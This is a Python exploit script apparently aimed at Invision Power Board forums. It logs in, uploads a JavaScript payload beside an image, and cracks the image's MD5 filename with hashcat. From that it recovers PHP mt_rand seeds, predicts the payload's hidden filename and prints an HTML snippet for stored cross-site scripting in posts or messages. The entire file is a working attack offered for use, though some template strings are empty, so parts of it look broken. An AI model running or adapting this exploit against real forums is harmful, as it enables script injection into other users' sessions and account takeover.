#!/usr/bin/python3
import sys
import re
import json
import base64
import hashlib
import requests
import os.path
import sqlite3
import subprocess
class Explo1t:
def __init__(self, target_url, username, password, image_path, exploit_path):
self.session = requests.Session()
self.target_url = target_url if target_url.endswith("/") else target_url + "/"
self.username = username
self.password = password
self.image_path = image_path
self.exploit_path = exploit_path
self.ref = base64.b64encode(bytes(self.target_url.encode('UTF-8')))
def login(self):
query_string = "?app=system&module=core&controller=login"
r = self.session.get(target_url + query_string)
csrftoken = self._get_csrf_key(r.text, "login")
data = {
'auth': self.username,
'password': self.password,
'csrfKey': csrftoken,
'_processLogin': 'usernamepassword',
}
r = self.session.post(target_url + "?/login/", data=data, allow_redirects=False)
# if the login worked, grab the CSRF nonce for this session
if r.status_code > 300:
print("[+] Login suceeded with given credentials")
r = self.session.get(target_url)
regex = re.compile('csrfKey: "([^"]+)"', re.IGNORECASE)
matches = regex.findall(r.text)
if not matches is None and len(matches) > 0:
self.csrfKey = matches[0]
else:
print("[-] Failed to grab the CSRF nonce for this session" )
exit(1)
else:
print("[-] Login credentials were invalid or login failed for another reason")
exit()
def generate_exploit_file(self):
with open(self.exploit_path, 'r') as f:
exploit_code = f.read()
with open('/tmp/DJ19da39an', 'w') as rf:
exploit_code_tmp = """
"""
exploit_code = exploit_code_tmp % base64.b64encode(exploit_code.encode('UTF-8')).decode('UTF-8')
rf.write(exploit_code)
self.exploit_path = "/tmp/DJ19da39an"
def _get_csrf_key(self, text, action=False):
regex = re.compile('name="csrfKey" value="([^"]+)"', re.IGNORECASE)
matches = regex.findall(text)
if not matches is None and len(matches) > 0:
return matches[0]
else:
print("[-] Failed to grab the CSRF nonce" + " for %s!" % action if action else "!")
exit(1)
# lel name="csrfKey" value="e34e486cbdb6dda50b9fac3aeb7dcd3f"
return
def _upload_files(self):
query_string = "/?app=core&module=messaging&controller=messenger&do=compose&XDEBUG_SESSION=PHPSTORM"
data = {
'form_submitted': True,
'csrfKey': self.csrfKey
}
# we need to additionally send a pl upload key, which is a md5 hash of the user session ID and a static string
cookies = self.session.cookies.get_dict()
plupload = hashlib.md5(("messenger_content_upload" + cookies['ips4_IPSSessionFront']).encode('UTF-8')).hexdigest()
headers = {
'X-PLUPLOAD': plupload,
'X-REQUESTED-WITH': 'XMLHttpRequest'
}
# select the files to upload
files = {
'one': open(self.image_path, 'rb'),
'two': open(self.exploit_path, 'rb')
}
r = self.session.post(target_url + query_string, data=data, headers=headers, files=files)
# validate that the file has been uploaded
try:
value = json.loads(r.text)
except:
print("[-] File upload failed")
exit()
print("[+] Successfully uploaded both files")
# return the file upload location
return value['imagesrc']
# emulates the 'obscureFilename' method that can replace some characters in the exploit filename
def obscure_filename(self, filename, hash=False):
safe_extensions = ['js', 'css', 'txt', 'ico', 'gif', 'jpg', 'jpe', 'jpeg', 'png', 'mp4', '3gp', 'mov', 'ogg', 'ogv', 'mp3', 'mpg', 'mpeg', 'ico', 'flv', 'webm', 'wmv', 'avi', 'm4v']
extension = filename.split(".")[-1] if len(filename.split(".")) >= 2 else filename[1:]
safe = extension in safe_extensions
if not safe:
try:
extension_position = filename.rindex(".")
filename = filename[:extension_position] + "_" + extension
except:
# no dot in filename. This means the filename is the 'extension'
filename = "_" + extension
regex = re.compile("\.(?!(%s))([a-z0-9]{2,4})(\.|$)" % ("|".join(safe_extensions)), re.IGNORECASE)
toDo = True
while toDo:
matches = regex.search(filename)
if matches is None:
toDo = False
break
else:
match = matches[2]
filename = filename.replace("." + match, "_" + match)
return filename.replace(" ", "").replace("#", "") + ("." + hash) if hash else ""
def plant_malicious_file(self):
self.upload_url = self._upload_files()
print("[+] The files were successfully uploaded")
def parse_uploaded_image(self):
# get the upload path from the URL
regex = re.compile("%s/*(.+)%s\.(.*)\." % (
re.escape(self.target_url), re.escape(self.obscure_filename(os.path.basename(self.image_path)))),
re.IGNORECASE)
matches = regex.search(self.upload_url)
if matches is None:
print("[-] The regex was unable to parse the MD5 hash out of upload URL: %s" % self.upload_url)
exit()
print("[*] Image URL: %s" % self.upload_url)
print("[*] Upload Path on server (relative to board URL): %s" % os.path.dirname(matches[1]))
self.upload_path = os.path.dirname(matches[1])
print("[*] MD5 hash of mt_rand() of the filename: %s" % matches[2])
print("[*] Now cracking the hash. This might take a moment...")
self.image_hash = matches[2]
def crackimagehash(self):
# delete the results.txt file so that we always get the correct result
if os.path.exists("/tmp/result.txt"):
os.remove("/tmp/result.txt")
# write the hash to a tmp file for hashcat
with open('/tmp/hash.txt', 'w') as f:
f.write(self.image_hash)
f.close()
# use hashcat to crack the hash
seeds = subprocess.Popen("hashcat -m 0 --attack-mode 3 /tmp/hash.txt ?d?d?d?d?d?d?d?d?d?d --increment --force -o /tmp/result.txt"
, shell=True,
stdout=subprocess.PIPE).stdout.read().decode('UTF-8')
# try to read the result from the resulting filename
with open('/tmp/result.txt', 'r') as f:
result = f.read()
result = result.split(":")
if not len(result) > 0:
print("Failed to crack the hash with hashcat for some reason")
exit(1)
self.image_hashed_value = result[1]
print("[+] Cracked the MD5 hash! the value of mt_rand() is %s" % self.image_hashed_value.strip())
return
def calculate_possible_hashes(self):
print("[*] Now calculating the seed for mt_rand() and possible hash values of the exploit filename")
seeds = subprocess.Popen("bin/php_mt_seed-4.0/php_mt_seed 0 0 0 0 " + self.image_hashed_value, shell=True,
stdout=subprocess.PIPE).stdout.read().decode('UTF-8')
# get PHP5 hashes
regex = re.compile("seed\s*=\s*0x[a-f0-9]+\s*=\s*([0-9]+)\s*\(PHP\s*5\.2\.1")
matches_php5 = regex.findall(seeds)
possible_hashes = []
if matches_php5 and len(matches_php5) > 0:
for value in matches_php5:
possible_hashes.append(subprocess.Popen(
"php5.6 -r 'mt_srand(\"%s\");mt_rand();mt_rand();echo md5(mt_rand());'" % value, shell=True,
stdout=subprocess.PIPE).stdout.read().decode('UTF-8').strip())
# get PHP7 hashes
regex = re.compile("seed\s*=\s*0x[a-f0-9]+\s*=\s*([0-9]+)\s*\(PHP\s*7\.1\.0")
matches_php7 = regex.findall(seeds)
if matches_php7 and len(matches_php7) > 0:
for value in matches_php7:
possible_hashes.append(
subprocess.Popen(
"php7.2 -r 'mt_srand(\"%s\");mt_rand();mt_rand();echo md5(mt_rand());'" % value,
shell=True,
stdout=subprocess.PIPE).stdout.read().decode('UTF-8').strip())
if len(possible_hashes) > 1:
print("\n[+] Generated %d possible hashes for the exploit filename" % len(possible_hashes))
self.possible_hashes = possible_hashes
else:
print("[-] Cracking the mt_rand values failed")
exit()
def find_exploit_file(self):
found = False
for hash in self.possible_hashes:
current_url = self.target_url + self.upload_path + "/" + self.obscure_filename(os.path.basename(self.exploit_path), hash)
r = self.session.get(current_url)
if r.status_code == 200:
found = True
if not 'Content-Type' in r.headers or r.headers['Content-Type'] == 'text/html':
print("[+] SUCCESS - exploit file successfully uploaded and is ready to launch")
self.exploit_path_url = os.path.basename(current_url)
else:
print("[-] The file was uploaded and found but the content type is not text/html")
exit()
break
if not found:
print("[-] The file was not found")
exit()
def generate_xss_exploit(self):
print("\n\nSimply chose the form you want to XSS (PM / post / thread etc.), right click, inspect element and insert the following HTML:\n\n")
payload = "" % (self.upload_path, self.exploit_path_url)
print(payload)
def launch(self):
self.login()
self.generate_exploit_file()
self.plant_malicious_file()
self.parse_uploaded_image()
self.crackimagehash()
self.calculate_possible_hashes()
self.find_exploit_file()
self.generate_xss_exploit()
'''test = Explo1t("x", "x", "y", "d", "x")
print(test.obscure_filename("lol.php.png"))
exit()'''
# parse user args
if not len(sys.argv) == 6:
print("Usage: %s target_url username password path/imageToUpload.png path/exploit_js_file" % sys.argv[0])
exit()
target_url = sys.argv[1]
username = sys.argv[2]
password = sys.argv[3]
image_path = sys.argv[4]
exploit_path = sys.argv[5]
# do some validation beforehand. We do not want special characters in the exploit filename, otherwise mt_rand() will be called another time
# and calculations may fail
regex = re.compile("[^a-zA-Z0-9!\-_\.\*\(\)\@]", re.IGNORECASE)
if regex.search(os.path.basename(exploit_path)):
print("[-] The exploit filename should not contain characters other than alphanumerical characters and [!-_.*()@]. Whitespaces are also bad.")
exit()
if len(os.path.basename(exploit_path)) > 50:
print("[-] The exploit filename should not be longer than 50 characters so we don't run into problems with filename truncation")
exit()
if len(os.path.basename(image_path)) > 50:
print("[-] The image filename should not be longer than 50 characters so we don't run into problems with filename truncation")
exit()
# make sure the exploit file does not have a 'safe' file extension so that it is uploaded with out an extension
safe_extensions = ['js', 'css', 'txt', 'ico', 'gif', 'jpg', 'jpe', 'jpeg', 'png', 'mp4', '3gp', 'mov', 'ogg', 'ogv', 'mp3', 'mpg', 'mpeg', 'ico', 'flv', 'webm', 'wmv', 'avi', 'm4v']
extension = os.path.basename(exploit_path).split(".")[-1] if len(os.path.basename(exploit_path).split(".")) >= 2 else os.path.basename(exploit_path[1:])
if extension in safe_extensions:
print("[-] The exploit file path must not have one of the following extensions: %s" % " ".join(safe_extensions))
print("[-] This is to ensure that no extension is set for our uploaded exploit file so that the MIME type of the response is text/html")
exit()
# make sure that the image upload path actually has a safe image extension so that it's location is leaked
image_extensions = ['jpg', 'jpe', 'jpeg', 'png', 'gif']
extension = os.path.basename(image_path).split(".")[-1] if len(os.path.basename(image_path).split(".")) >= 2 else os.path.basename(image_path)[1:]
if extension not in image_extensions:
print("[-] The uploaded image must have one of the following extensions: %s" % " ".join(image_extensions))
exit()
explo1t = Explo1t(target_url, username, password, image_path, exploit_path)
explo1t.launch()